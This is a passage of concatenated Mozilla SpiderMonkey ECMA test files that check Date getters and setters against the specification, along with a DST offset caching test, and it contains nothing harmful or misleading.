SECTION, DateString+".getUTCDay()", UTCDate.day, DateCase.getUTCDay() ); new TestCase( SECTION, DateString+".getUTCHours()", UTCDate.hours, DateCase.getUTCHours() ); new TestCase( SECTION, DateString+".getUTCMinutes()", UTCDate.minutes, DateCase.getUTCMinutes() ); new TestCase( SECTION, DateString+".getUTCSeconds()", UTCDate.seconds, DateCase.getUTCSeconds() ); new TestCase( SECTION, DateString+".getUTCMilliseconds()", UTCDate.ms, DateCase.getUTCMilliseconds() ); new TestCase( SECTION, DateString+".getFullYear()", LocalDate.year, DateCase.getFullYear() ); new TestCase( SECTION, DateString+".getMonth()", LocalDate.month, DateCase.getMonth() ); new TestCase( SECTION, DateString+".getDate()", LocalDate.date, DateCase.getDate() ); new TestCase( SECTION, DateString+".getDay()", LocalDate.day, DateCase.getDay() ); new TestCase( SECTION, DateString+".getHours()", LocalDate.hours, DateCase.getHours() ); new TestCase( SECTION, DateString+".getMinutes()", LocalDate.minutes, DateCase.getMinutes() ); new TestCase( SECTION, DateString+".getSeconds()", LocalDate.seconds, DateCase.getSeconds() ); new TestCase( SECTION, DateString+".getMilliseconds()", LocalDate.ms, DateCase.getMilliseconds() ); DateCase.toString = Object.prototype.toString; new TestCase( SECTION, DateString+".toString=Object.prototype.toString;"+DateString+".toString()", "[object Date]", DateCase.toString() ); } function MyDate() { this.year = 0; this.month = 0; this.date = 0; this.hours = 0; this.minutes = 0; this.seconds = 0; this.ms = 0; } function LocalDateFromTime(t) { t = LocalTime(t); return ( MyDateFromTime(t) ); } function UTCDateFromTime(t) { return ( MyDateFromTime(t) ); } function MyDateFromTime( t ) { var d = new MyDate(); d.year = YearFromTime(t); d.month = MonthFromTime(t); d.date = DateFromTime(t); d.hours = HourFromTime(t); d.minutes = MinFromTime(t); d.seconds = SecFromTime(t); d.ms = msFromTime(t); d.time = MakeTime( d.hours, d.minutes, d.seconds, d.ms ); d.value = TimeClip( MakeDate( MakeDay( d.year, d.month, d.date ), d.time ) ); d.day = WeekDay( d.value ); return (d); } function SetUTCMonth( t, month, date ) { var T = t; var MONTH = Number( month ); var DATE = ( date == void 0) ? DateFromTime(T) : Number( date ); var RESULT4 = MakeDay(YearFromTime(T), MONTH, DATE ); var RESULT5 = MakeDate( RESULT4, TimeWithinDay(T)); return ( TimeClip(RESULT5) ); } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.7.js0000664000175000017500000000357112106270663020200 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.7.js ECMA Section: 15.9.5.7 Description: Date.prototype.getUTCFullYear 1.Let t be this time value. 2.If t is NaN, return NaN. 3.Return YearFromTime(t). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.7"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.getUTCFullYear()"; writeHeaderToLog( SECTION + " "+ TITLE); addTestCase( TIME_NOW ); addTestCase( TIME_0000 ); addTestCase( TIME_1970 ); addTestCase( TIME_1900 ); addTestCase( TIME_2000 ); addTestCase( UTC_FEB_29_2000 ); addTestCase( UTC_JAN_1_2005 ); new TestCase( SECTION, "(new Date(NaN)).getUTCFullYear()", NaN, (new Date(NaN)).getUTCFullYear() ); new TestCase( SECTION, "Date.prototype.getUTCFullYear.length", 0, Date.prototype.getUTCFullYear.length ); test(); function addTestCase( t ) { new TestCase( SECTION, "(new Date("+t+")).getUTCFullYear()", YearFromTime(t), (new Date(t)).getUTCFullYear() ); new TestCase( SECTION, "(new Date("+(t+1)+")).getUTCFullYear()", YearFromTime(t+1), (new Date(t+1)).getUTCFullYear() ); new TestCase( SECTION, "(new Date("+(t-1)+")).getUTCFullYear()", YearFromTime(t-1), (new Date(t-1)).getUTCFullYear() ); new TestCase( SECTION, "(new Date("+(t-TZ_ADJUST)+")).getUTCFullYear()", YearFromTime(t-TZ_ADJUST), (new Date(t-TZ_ADJUST)).getUTCFullYear() ); new TestCase( SECTION, "(new Date("+(t+TZ_ADJUST)+")).getUTCFullYear()", YearFromTime(t+TZ_ADJUST), (new Date(t+TZ_ADJUST)).getUTCFullYear() ); } mozjs17.0.0/js/src/tests/ecma/Date/shell.js0000664000175000017500000001111712106270663020376 0ustar sstanglsstangl var BUGNUMBER; var summary; function runDSTOffsetCachingTestsFraction(part, parts) { BUGNUMBER = 563938; summary = 'Cache DST offsets to improve SunSpider score'; print(BUGNUMBER + ": " + summary); var MAX_UNIX_TIMET = 2145859200; var RANGE_EXPANSION_AMOUNT = 30 * 24 * 60 * 60; /** * Computes the time zone offset in minutes at the given timestamp. */ function tzOffsetFromUnixTimestamp(timestamp) { var d = new Date(NaN); d.setTime(timestamp); // local slot = NaN, UTC slot = timestamp return d.getTimezoneOffset(); // get UTC, calculate local => diff in minutes } /** * Clear the DST offset cache, leaving it initialized to include a timestamp * completely unlike the provided one (i.e. one very, very far away in time * from it). Thus an immediately following lookup for the provided timestamp * will cache-miss and compute a clean value. */ function clearDSTOffsetCache(undesiredTimestamp) { var opposite = (undesiredTimestamp + MAX_UNIX_TIMET / 2) % MAX_UNIX_TIMET; // Generic purge to known, but not necessarily desired, state tzOffsetFromUnixTimestamp(0); tzOffsetFromUnixTimestamp(MAX_UNIX_TIMET); // Purge to desired state. Cycle 2x in case opposite or undesiredTimestamp // is close to 0 or MAX_UNIX_TIMET. tzOffsetFromUnixTimestamp(opposite); tzOffsetFromUnixTimestamp(undesiredTimestamp); tzOffsetFromUnixTimestamp(opposite); tzOffsetFromUnixTimestamp(undesiredTimestamp); } function computeCanonicalTZOffset(timestamp) { clearDSTOffsetCache(timestamp); return tzOffsetFromUnixTimestamp(timestamp); } var TEST_TIMESTAMPS_SECONDS = [ // Special-ish timestamps 0, RANGE_EXPANSION_AMOUNT, MAX_UNIX_TIMET, ]; var ONE_DAY = 24 * 60 * 60; var EIGHTY_THREE_HOURS = 83 * 60 * 60; var NINETY_EIGHT_HOURS = 98 * 60 * 60; function nextIncrement(i) { return i === EIGHTY_THREE_HOURS ? NINETY_EIGHT_HOURS : EIGHTY_THREE_HOURS; } // Now add a long sequence of non-special timestamps, from a fixed range, that // overlaps a DST change by "a bit" on each side. 67 days should be enough // displacement that we can occasionally exercise the implementation's // thirty-day expansion and the DST-offset-change logic. Use two different // increments just to be safe and catch something a single increment might not. var DST_CHANGE_DATE = 1268553600; // March 14, 2010 for (var t = DST_CHANGE_DATE - 67 * ONE_DAY, i = nextIncrement(NINETY_EIGHT_HOURS), end = DST_CHANGE_DATE + 67 * ONE_DAY; t < end; i = nextIncrement(i), t += i) { TEST_TIMESTAMPS_SECONDS.push(t); } var TEST_TIMESTAMPS = TEST_TIMESTAMPS_SECONDS.map(function(v) { return v * 1000; }); /************** * BEGIN TEST * **************/ // Compute the correct time zone offsets for all timestamps to be tested. var CORRECT_TZOFFSETS = TEST_TIMESTAMPS.map(computeCanonicalTZOffset); // Intentionally and knowingly invoking every single logic path in the cache // isn't easy for a human to get right (and know he's gotten it right), so // let's do it the easy way: exhaustively try all possible four-date sequences // selecting from our array of possible timestamps. var sz = TEST_TIMESTAMPS.length; var start = Math.floor((part - 1) / parts * sz); var end = Math.floor(part / parts * sz); print("Exhaustively testing timestamps " + "[" + start + ", " + end + ") of " + sz + "..."); try { for (var i = start; i < end; i++) { print("Testing timestamp " + i + "..."); var t1 = TEST_TIMESTAMPS[i]; for (var j = 0; j < sz; j++) { var t2 = TEST_TIMESTAMPS[j]; for (var k = 0; k < sz; k++) { var t3 = TEST_TIMESTAMPS[k]; for (var w = 0; w < sz; w++) { var t4 = TEST_TIMESTAMPS[w]; clearDSTOffsetCache(t1); var tzo1 = tzOffsetFromUnixTimestamp(t1); var tzo2 = tzOffsetFromUnixTimestamp(t2); var tzo3 = tzOffsetFromUnixTimestamp(t3); var tzo4 = tzOffsetFromUnixTimestamp(t4); assertEq(tzo1, CORRECT_TZOFFSETS[i]); assertEq(tzo2, CORRECT_TZOFFSETS[j]); assertEq(tzo3, CORRECT_TZOFFSETS[k]); assertEq(tzo4, CORRECT_TZOFFSETS[w]); } } } } } catch (e) { assertEq(true, false, "Error when testing with timestamps " + i + ", " + j + ", " + k + ", " + w + " (" + t1 + ", " + t2 + ", " + t3 + ", " + t4 + ")!"); } reportCompare(true, true); print("All tests passed!"); } mozjs17.0.0/js/src/tests/ecma/Date/15.9.3.1-2.js0000664000175000017500000001167512106270663020333 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.3.1.js ECMA Section: 15.9.3.1 new Date (year, month, date, hours, minutes, seconds, ms) Description: The [[Prototype]] property of the newly constructed object is set to the original Date prototype object, the one that is the initial value of Date.prototype. The [[Class]] property of the newly constructed object is set as follows: 1. Call ToNumber(year) 2. Call ToNumber(month) 3. Call ToNumber(date) 4. Call ToNumber(hours) 5. Call ToNumber(minutes) 6. Call ToNumber(seconds) 7. Call ToNumber(ms) 8. If Result(1) is NaN and 0 <= ToInteger(Result(1)) <= 99, Result(8) is 1900+ToInteger(Result(1)); otherwise, Result(8) is Result(1) 9. Compute MakeDay(Result(8), Result(2), Result(3) 10. Compute MakeTime(Result(4), Result(5), Result(6), Result(7) 11. Compute MakeDate(Result(9), Result(10)) 12. Set the [[Value]] property of the newly constructed object to TimeClip(UTC(Result(11))). This tests the returned value of a newly constructed Date object. Author: christine@netscape.com Date: 7 july 1997 */ var SECTION = "15.9.3.1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "new Date( year, month, date, hours, minutes, seconds, ms )"; var TIME = 0; var UTC_YEAR = 1; var UTC_MONTH = 2; var UTC_DATE = 3; var UTC_DAY = 4; var UTC_HOURS = 5; var UTC_MINUTES = 6; var UTC_SECONDS = 7; var UTC_MS = 8; var YEAR = 9; var MONTH = 10; var DATE = 11; var DAY = 12; var HOURS = 13; var MINUTES = 14; var SECONDS = 15; var MS = 16; writeHeaderToLog( SECTION + " "+ TITLE); // all the "ResultArrays" below are hard-coded to Pacific Standard Time values - // Dates around 2000 addNewTestCase( new Date( 1999,11,31,15,59,59,999), "new Date( 1999,11,31,15,59,59,999)", [TIME_2000-1,1999,11,31,5,23,59,59,999,1999,11,31,5,15,59,59,999] ); addNewTestCase( new Date( 1999,11,31,16,0,0,0), "new Date( 1999,11,31,16,0,0,0)", [TIME_2000,2000,0,1,6,0,0,0,0,1999,11,31,5, 16,0,0,0] ); addNewTestCase( new Date( 1999,11,31,23,59,59,999), "new Date( 1999,11,31,23,59,59,999)", [TIME_2000-PST_ADJUST-1,2000,0,1,6,7,59,59,999,1999,11,31,5,23,59,59,999] ); addNewTestCase( new Date( 2000,0,1,0,0,0,0), "new Date( 2000,0,1,0,0,0,0)", [TIME_2000-PST_ADJUST,2000,0,1,6,8,0,0,0,2000,0,1,6,0,0,0,0] ); addNewTestCase( new Date( 2000,0,1,0,0,0,1), "new Date( 2000,0,1,0,0,0,1)", [TIME_2000-PST_ADJUST+1,2000,0,1,6,8,0,0,1,2000,0,1,6,0,0,0,1] ); test(); function addNewTestCase( DateCase, DateString, ResultArray ) { //adjust hard-coded ResultArray for tester's timezone instead of PST adjustResultArray(ResultArray); new TestCase( SECTION, DateString+".getTime()", ResultArray[TIME], DateCase.getTime() ); new TestCase( SECTION, DateString+".valueOf()", ResultArray[TIME], DateCase.valueOf() ); new TestCase( SECTION, DateString+".getUTCFullYear()", ResultArray[UTC_YEAR], DateCase.getUTCFullYear() ); new TestCase( SECTION, DateString+".getUTCMonth()", ResultArray[UTC_MONTH], DateCase.getUTCMonth() ); new TestCase( SECTION, DateString+".getUTCDate()", ResultArray[UTC_DATE], DateCase.getUTCDate() ); new TestCase( SECTION, DateString+".getUTCDay()", ResultArray[UTC_DAY], DateCase.getUTCDay() ); new TestCase( SECTION, DateString+".getUTCHours()", ResultArray[UTC_HOURS], DateCase.getUTCHours() ); new TestCase( SECTION, DateString+".getUTCMinutes()", ResultArray[UTC_MINUTES],DateCase.getUTCMinutes() ); new TestCase( SECTION, DateString+".getUTCSeconds()", ResultArray[UTC_SECONDS],DateCase.getUTCSeconds() ); new TestCase( SECTION, DateString+".getUTCMilliseconds()", ResultArray[UTC_MS], DateCase.getUTCMilliseconds() ); new TestCase( SECTION, DateString+".getFullYear()", ResultArray[YEAR], DateCase.getFullYear() ); new TestCase( SECTION, DateString+".getMonth()", ResultArray[MONTH], DateCase.getMonth() ); new TestCase( SECTION, DateString+".getDate()", ResultArray[DATE], DateCase.getDate() ); new TestCase( SECTION, DateString+".getDay()", ResultArray[DAY], DateCase.getDay() ); new TestCase( SECTION, DateString+".getHours()", ResultArray[HOURS], DateCase.getHours() ); new TestCase( SECTION, DateString+".getMinutes()", ResultArray[MINUTES], DateCase.getMinutes() ); new TestCase( SECTION, DateString+".getSeconds()", ResultArray[SECONDS], DateCase.getSeconds() ); new TestCase( SECTION, DateString+".getMilliseconds()", ResultArray[MS], DateCase.getMilliseconds() ); } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.14.js0000664000175000017500000000261112106270663020250 0ustar sstanglsstangl// |reftest| random /* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.14.js ECMA Section: 15.9.5.14 Description: Date.prototype.getHours 1. Let t be this time value. 2. If t is NaN, return NaN. 3. Return HourFromTime(LocalTime(t)). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.14"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.getHours()"; writeHeaderToLog( SECTION + " "+ TITLE); addTestCase( TIME_NOW ); addTestCase( TIME_0000 ); addTestCase( TIME_1970 ); addTestCase( TIME_1900 ); addTestCase( TIME_2000 ); addTestCase( UTC_FEB_29_2000 ); addTestCase( UTC_JAN_1_2005 ); new TestCase( SECTION, "(new Date(NaN)).getHours()", NaN, (new Date(NaN)).getHours() ); new TestCase( SECTION, "Date.prototype.getHours.length", 0, Date.prototype.getHours.length ); test(); function addTestCase( t ) { for ( h = 0; h < 24; h+=4 ) { t += msPerHour; new TestCase( SECTION, "(new Date("+t+")).getHours()", HourFromTime((LocalTime(t))), (new Date(t)).getHours() ); } } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.21-3.js0000664000175000017500000000167312106270663020415 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.21.js ECMA Section: 15.9.5.21 Description: Date.prototype.getUTCMilliseconds 1. Let t be this time value. 2. If t is NaN, return NaN. 3. Return msFromTime(t). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.21"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.getUTCMilliseconds()"; writeHeaderToLog( SECTION + " "+ TITLE); addTestCase( TIME_1970 ); test(); function addTestCase( t ) { new TestCase( SECTION, "(new Date("+t+")).getUTCMilliseconds()", msFromTime(t), (new Date(t)).getUTCMilliseconds() ); } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.11-7.js0000664000175000017500000000214612106270663020414 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.11.js ECMA Section: 15.9.5.11 Description: Date.prototype.getUTCDate 1.Let t be this time value. 2.If t is NaN, return NaN. 1.Return DateFromTime(t). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.11"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.getUTCDate()"; writeHeaderToLog( SECTION + " "+ TITLE); addTestCase( UTC_JAN_1_2005 ); test(); function addTestCase( t ) { var start = TimeFromYear(YearFromTime(t)); var stop = TimeFromYear(YearFromTime(t) + 1); for (var d = start; d < stop; d += msPerDay) { new TestCase( SECTION, "(new Date("+d+")).getUTCDate()", DateFromTime(d), (new Date(d)).getUTCDate() ); } } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.26-1.js0000664000175000017500000001340412106270663020413 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.26-1.js ECMA Section: 15.9.5.26 Date.prototype.setSeconds(sec [,ms]) Description: If ms is not specified, this behaves as if ms were specified with the value getMilliseconds( ). 1. Let t be the result of LocalTime(this time value). 2. Call ToNumber(sec). 3. If ms is not specified, compute msFromTime(t); otherwise, call ToNumber(ms). 4. Compute MakeTime(HourFromTime(t), MinFromTime(t), Result(2), Result(3)). 5. Compute UTC(MakeDate(Day(t), Result(4))). 6. Set the [[Value]] property of the this value to TimeClip(Result(5)). 7. Return the value of the [[Value]] property of the this value. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.26-1"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " Date.prototype.setSeconds(sec [,ms] )"); addNewTestCase( 0, 0, 0, "TDATE = new Date(0);(TDATE).setSeconds(0,0);TDATE", UTCDateFromTime(SetSeconds(0,0,0)), LocalDateFromTime(SetSeconds(0,0,0)) ); addNewTestCase( 28800000,59,999, "TDATE = new Date(28800000);(TDATE).setSeconds(59,999);TDATE", UTCDateFromTime(SetSeconds(28800000,59,999)), LocalDateFromTime(SetSeconds(28800000,59,999)) ); addNewTestCase( 28800000,999,999, "TDATE = new Date(28800000);(TDATE).setSeconds(999,999);TDATE", UTCDateFromTime(SetSeconds(28800000,999,999)), LocalDateFromTime(SetSeconds(28800000,999,999)) ); addNewTestCase( 28800000,999, void 0, "TDATE = new Date(28800000);(TDATE).setSeconds(999);TDATE", UTCDateFromTime(SetSeconds(28800000,999,0)), LocalDateFromTime(SetSeconds(28800000,999,0)) ); addNewTestCase( 28800000,-28800, void 0, "TDATE = new Date(28800000);(TDATE).setSeconds(-28800);TDATE", UTCDateFromTime(SetSeconds(28800000,-28800)), LocalDateFromTime(SetSeconds(28800000,-28800)) ); addNewTestCase( 946684800000,1234567,void 0, "TDATE = new Date(946684800000);(TDATE).setSeconds(1234567);TDATE", UTCDateFromTime(SetSeconds(946684800000,1234567)), LocalDateFromTime(SetSeconds(946684800000,1234567)) ); addNewTestCase( -2208988800000,59,999, "TDATE = new Date(-2208988800000);(TDATE).setSeconds(59,999);TDATE", UTCDateFromTime(SetSeconds(-2208988800000,59,999)), LocalDateFromTime(SetSeconds(-2208988800000,59,999)) ); test(); function addNewTestCase( startTime, sec, ms, DateString,UTCDate, LocalDate) { DateCase = new Date( startTime ); if ( ms != void 0 ) { DateCase.setSeconds( sec, ms ); } else { DateCase.setSeconds( sec ); } new TestCase( SECTION, DateString+".getTime()", UTCDate.value, DateCase.getTime() ); new TestCase( SECTION, DateString+".valueOf()", UTCDate.value, DateCase.valueOf() ); new TestCase( SECTION, DateString+".getUTCFullYear()", UTCDate.year, DateCase.getUTCFullYear() ); new TestCase( SECTION, DateString+".getUTCMonth()", UTCDate.month, DateCase.getUTCMonth() ); new TestCase( SECTION, DateString+".getUTCDate()", UTCDate.date, DateCase.getUTCDate() ); new TestCase( SECTION, DateString+".getUTCHours()", UTCDate.hours, DateCase.getUTCHours() ); new TestCase( SECTION, DateString+".getUTCMinutes()", UTCDate.minutes,DateCase.getUTCMinutes() ); new TestCase( SECTION, DateString+".getUTCSeconds()", UTCDate.seconds,DateCase.getUTCSeconds() ); new TestCase( SECTION, DateString+".getUTCMilliseconds()", UTCDate.ms, DateCase.getUTCMilliseconds() ); new TestCase( SECTION, DateString+".getFullYear()", LocalDate.year, DateCase.getFullYear() ); new TestCase( SECTION, DateString+".getMonth()", LocalDate.month, DateCase.getMonth() ); new TestCase( SECTION, DateString+".getDate()", LocalDate.date, DateCase.getDate() ); new TestCase( SECTION, DateString+".getHours()", LocalDate.hours, DateCase.getHours() ); new TestCase( SECTION, DateString+".getMinutes()", LocalDate.minutes, DateCase.getMinutes() ); new TestCase( SECTION, DateString+".getSeconds()", LocalDate.seconds, DateCase.getSeconds() ); new TestCase( SECTION, DateString+".getMilliseconds()", LocalDate.ms, DateCase.getMilliseconds() ); DateCase.toString = Object.prototype.toString; new TestCase( SECTION, DateString+".toString=Object.prototype.toString;"+DateString+".toString()", "[object Date]", DateCase.toString() ); } function MyDate() { this.year = 0; this.month = 0; this.date = 0; this.hours = 0; this.minutes = 0; this.seconds = 0; this.ms = 0; } function LocalDateFromTime(t) { t = LocalTime(t); return ( MyDateFromTime(t) ); } function UTCDateFromTime(t) { return ( MyDateFromTime(t) ); } function MyDateFromTime( t ) { var d = new MyDate(); d.year = YearFromTime(t); d.month = MonthFromTime(t); d.date = DateFromTime(t); d.hours = HourFromTime(t); d.minutes = MinFromTime(t); d.seconds = SecFromTime(t); d.ms = msFromTime(t); d.time = MakeTime( d.hours, d.minutes, d.seconds, d.ms ); d.value = TimeClip( MakeDate( MakeDay( d.year, d.month, d.date ), d.time ) ); d.day = WeekDay( d.value ); return (d); } function SetSeconds( t, s, m ) { var MS = ( m == void 0 ) ? msFromTime(t) : Number( m ); var TIME = LocalTime( t ); var SEC = Number(s); var RESULT4 = MakeTime( HourFromTime( TIME ), MinFromTime( TIME ), SEC, MS ); var UTC_TIME = UTC(MakeDate(Day(TIME), RESULT4)); return ( TimeClip(UTC_TIME) ); } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.23-9.js0000664000175000017500000000334612106270663020424 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.23-2.js ECMA Section: 15.9.5.23 Description: Date.prototype.setTime 1. If the this value is not a Date object, generate a runtime error. 2. Call ToNumber(time). 3. Call TimeClip(Result(1)). 4. Set the [[Value]] property of the this value to Result(2). 5. Return the value of the [[Value]] property of the this value. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.23-2"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.setTime()"; writeHeaderToLog( SECTION + " "+ TITLE); test_times = new Array( TIME_NOW, TIME_0000, TIME_1970, TIME_1900, TIME_2000, UTC_FEB_29_2000, UTC_JAN_1_2005 ); for ( var j = 0; j < test_times.length; j++ ) { addTestCase( new Date(UTC_JAN_1_2005), test_times[j] ); } test(); function addTestCase( d, t ) { new TestCase( SECTION, "( "+d+" ).setTime("+t+")", t, d.setTime(t) ); new TestCase( SECTION, "( "+d+" ).setTime("+(t+1.1)+")", TimeClip(t+1.1), d.setTime(t+1.1) ); new TestCase( SECTION, "( "+d+" ).setTime("+(t+1)+")", t+1, d.setTime(t+1) ); new TestCase( SECTION, "( "+d+" ).setTime("+(t-1)+")", t-1, d.setTime(t-1) ); new TestCase( SECTION, "( "+d+" ).setTime("+(t-TZ_ADJUST)+")", t-TZ_ADJUST, d.setTime(t-TZ_ADJUST) ); new TestCase( SECTION, "( "+d+" ).setTime("+(t+TZ_ADJUST)+")", t+TZ_ADJUST, d.setTime(t+TZ_ADJUST) ); } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.12-6.js0000664000175000017500000000215712106270663020416 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.12.js ECMA Section: 15.9.5.12 Description: Date.prototype.getDay 1. Let t be this time value. 2. If t is NaN, return NaN. 3. Return WeekDay(LocalTime(t)). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.12"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.getDay()"; writeHeaderToLog( SECTION + " "+ TITLE); addTestCase( UTC_FEB_29_2000 ); test(); function addTestCase( t ) { var start = TimeFromYear(YearFromTime(t)); var stop = TimeFromYear(YearFromTime(t) + 1); for (var d = start; d < stop; d += msPerDay) { new TestCase( SECTION, "(new Date("+d+")).getDay()", WeekDay((LocalTime(d))), (new Date(d)).getDay() ); } } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.19.js0000664000175000017500000000260112106270663020254 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.19.js ECMA Section: 15.9.5.19 Description: Date.prototype.getUTCSeconds 1. Let t be this time value. 2. If t is NaN, return NaN. 3. Return SecFromTime(t). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.19"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.getUTCSeconds()"; writeHeaderToLog( SECTION + " "+ TITLE); addTestCase( TIME_NOW ); addTestCase( TIME_0000 ); addTestCase( TIME_1970 ); addTestCase( TIME_1900 ); addTestCase( TIME_2000 ); addTestCase( UTC_FEB_29_2000 ); addTestCase( UTC_JAN_1_2005 ); new TestCase( SECTION, "(new Date(NaN)).getUTCSeconds()", NaN, (new Date(NaN)).getUTCSeconds() ); new TestCase( SECTION, "Date.prototype.getUTCSeconds.length", 0, Date.prototype.getUTCSeconds.length ); test(); function addTestCase( t ) { for ( m = 0; m <= 60; m+=10 ) { t += 1000; new TestCase( SECTION, "(new Date("+t+")).getUTCSeconds()", SecFromTime(t), (new Date(t)).getUTCSeconds() ); } } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.13-1.js0000664000175000017500000000221212106270663020402 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.13.js ECMA Section: 15.9.5.13 Description: Date.prototype.getUTCDay 1.Let t be this time value. 2.If t is NaN, return NaN. 3.Return WeekDay(t). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.13"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.getUTCDay()"; writeHeaderToLog( SECTION + " "+ TITLE); // get the current time var now = (new Date()).valueOf(); addTestCase( now ); test(); function addTestCase( t ) { var start = TimeFromYear(YearFromTime(t)); var stop = TimeFromYear(YearFromTime(t) + 1); for (var d = start; d < stop; d += msPerDay) { new TestCase( SECTION, "(new Date("+d+")).getUTCDay()", WeekDay((d)), (new Date(d)).getUTCDay() ); } } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.21-4.js0000664000175000017500000000167312106270663020416 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.21.js ECMA Section: 15.9.5.21 Description: Date.prototype.getUTCMilliseconds 1. Let t be this time value. 2. If t is NaN, return NaN. 3. Return msFromTime(t). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.21"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.getUTCMilliseconds()"; writeHeaderToLog( SECTION + " "+ TITLE); addTestCase( TIME_1900 ); test(); function addTestCase( t ) { new TestCase( SECTION, "(new Date("+t+")).getUTCMilliseconds()", msFromTime(t), (new Date(t)).getUTCMilliseconds() ); } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.24-6.js0000664000175000017500000000762212106270663020423 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.24-1.js ECMA Section: 15.9.5.24 Date.prototype.setTime(time) Description: 1. If the this value is not a Date object, generate a runtime error. 2. Call ToNumber(time). 3. Call TimeClip(Result(1)). 4. Set the [[Value]] property of the this value to Result(2). 5. Return the value of the [[Value]] property of the this value. Author: christine@netscape.com Date: 12 november 1997 */ var TITLE = "Date.prototype.setTime" var SECTION = "15.9.5.24-1"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " Date.prototype.setMilliseconds(ms)"); addTestCase( 0, "-2208988800000" ); test(); function addTestCase( startms, newms ) { var DateCase = new Date( startms ); 